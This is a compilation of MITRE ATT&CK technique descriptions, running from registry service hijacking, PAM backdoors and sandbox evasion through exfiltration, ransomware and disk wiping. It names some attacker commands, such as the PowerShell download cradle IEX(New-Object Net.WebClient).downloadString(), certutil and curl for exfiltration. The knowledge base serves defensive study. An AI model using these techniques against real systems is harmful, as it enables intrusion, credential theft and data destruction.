Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLMSYSTEMCurrentControlSetServices. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)


If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service’s binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).


Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)


The Performance key contains the name of a driver service’s performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)


Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesservicenameParametersServiceDll.(Citation: malware_hides_service)


TA0006
Credential Access

Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.


It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)


In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops – Cloud Credential Storage)


T1552.001
Unsecured Credentials: Credentials In Files

Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.


It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)


In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops – Cloud Credential Storage)


T1556.003
Modify Authentication Process: Pluggable Authentication Modules

Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)


Adversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)


Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)


TA0007
Discovery

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.


The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the Reg utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from Query Registry during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


T1012
Query Registry

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.


The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the Reg utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from Query Registry during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


T1018
Remote System Discovery

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or net view using Net.


Adversaries may also analyze data from local host files (ex: C:WindowsSystem32Driversetchosts or /etc/hosts) or other passive means (such as local Arp cache entries) in order to discover the presence of remote systems in an environment.


Adversaries may also target discovery of network infrastructure as well as leverage Network Device CLI commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)


T1046
Network Service Discovery

Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)


Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.


Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)


T1057
Process Discovery

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


In Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or Get-Process via PowerShell. Information about processes can also be extracted from the output of Native API calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.


On network devices, Network Device CLI commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)


T1082
System Information Discovery

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)


Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)


T1087.001
Account Discovery: Local Account

Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.


Commands such as net user and net localgroup of the Net utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.


T1497.001
Virtualization/Sandbox Evasion: System Checks

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)


Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.


Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.


Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.


Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)


T1497.002
Virtualization/Sandbox Evasion: User Activity Based Checks

Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)


Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017)


T1497.003
Virtualization/Sandbox Evasion: Time Based Evasion

Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.


Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: Scheduled Task/Job). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled Multi-Stage Channels to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)


Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as Pings, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)


Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment’s timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)


T1518
Software Discovery

Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to Exploitation for Privilege Escalation.


T1614.001
System Location Discovery: System Language Discovery

Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)


There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Query Registry and calls to Native API functions.(Citation: CrowdStrike Ryuk January 2019)


For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlNlsLanguage or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelganging May 2018)


On a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.


T1615
Group Policy Discovery

Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `SYSVOLPolicies`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)


Adversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. Domain Policy Modification) for their benefit.


TA0008
Lateral Movement

Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.


Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)


Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features or Terminal Services DLL for Persistence.(Citation: Alperovitch Malware)


T1021.001
Remote Services: Remote Desktop Protocol

Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.


Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)


Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features or Terminal Services DLL for Persistence.(Citation: Alperovitch Malware)


T1021.002
Remote Services: SMB/Windows Admin Shares

Adversaries may use Valid Accounts to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.


SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.


Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.(Citation: Microsoft Admin Shares)


TA0009
Collection

Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.


T1039
Data from Network Shared Drive

Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.


T1115
Clipboard Data

Adversaries may collect data stored in the clipboard from users copying information within or between applications.


For example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., Transmitted Data Manipulation).(Citation: mining_ruby_reversinglabs)


macOS and Linux also have commands, such as pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)


T1560.001
Archive Collected Data: Archive via Utility

Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.


Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems.


On Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. Remote Data Staging).(Citation: diantz.exe_lolbas) xcopy on Windows can copy files and directories with a variety of options. Additionally, adversaries may use certutil to Base64 encode collected data before exfiltration.


Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)


TA0010
Exfiltration

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.


Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.


Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)


Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or Cloud API.


T1048
Exfiltration Over Alternative Protocol

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.


Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.


Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)


Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or Cloud API.


TA0011
Command and Control

Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.


Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.


T1071
Application Layer Protocol

Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.


Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.


T1071.003
Application Layer Protocol: Mail Protocols

Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.


Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.


T1095
Non-Application Layer Protocol

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).


ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.


T1102
Web Service

Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.


Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).


T1105
Ingress Tool Transfer

Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer).


On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)


Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts.


Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service’s web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim’s machine.(Citation: Dropbox Malware Sync)


TA0040
Impact

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)


In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)


To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as “print bombing”).(Citation: NHS Digital Egregor Nov 2020)


In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)


T1486
Data Encrypted for Impact

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)


In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)


To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as “print bombing”).(Citation: NHS Digital Egregor Nov 2020)


In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)


T1491.001
Defacement: Internal Defacement

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of Internal Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary’s presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)


T1499.004
Endpoint Denial of Service: Application or System Exploitation

Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.


Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as Data Destruction, Firmware Corruption, Service Stop etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.


T1561.002
Disk Wipe: Disk Structure Wipe

Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.


Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. Disk Structure Wipe may be performed in isolation, or along with Disk Content Wipe if all sectors of a disk are wiped.


On a network devices, adversaries may reformat the file system using Network Device CLI commands such as `format`.(Citation: format_cmd_cisco)


To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)


T1565
Data Manipulation

Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.


The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.


* © 2024 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation.

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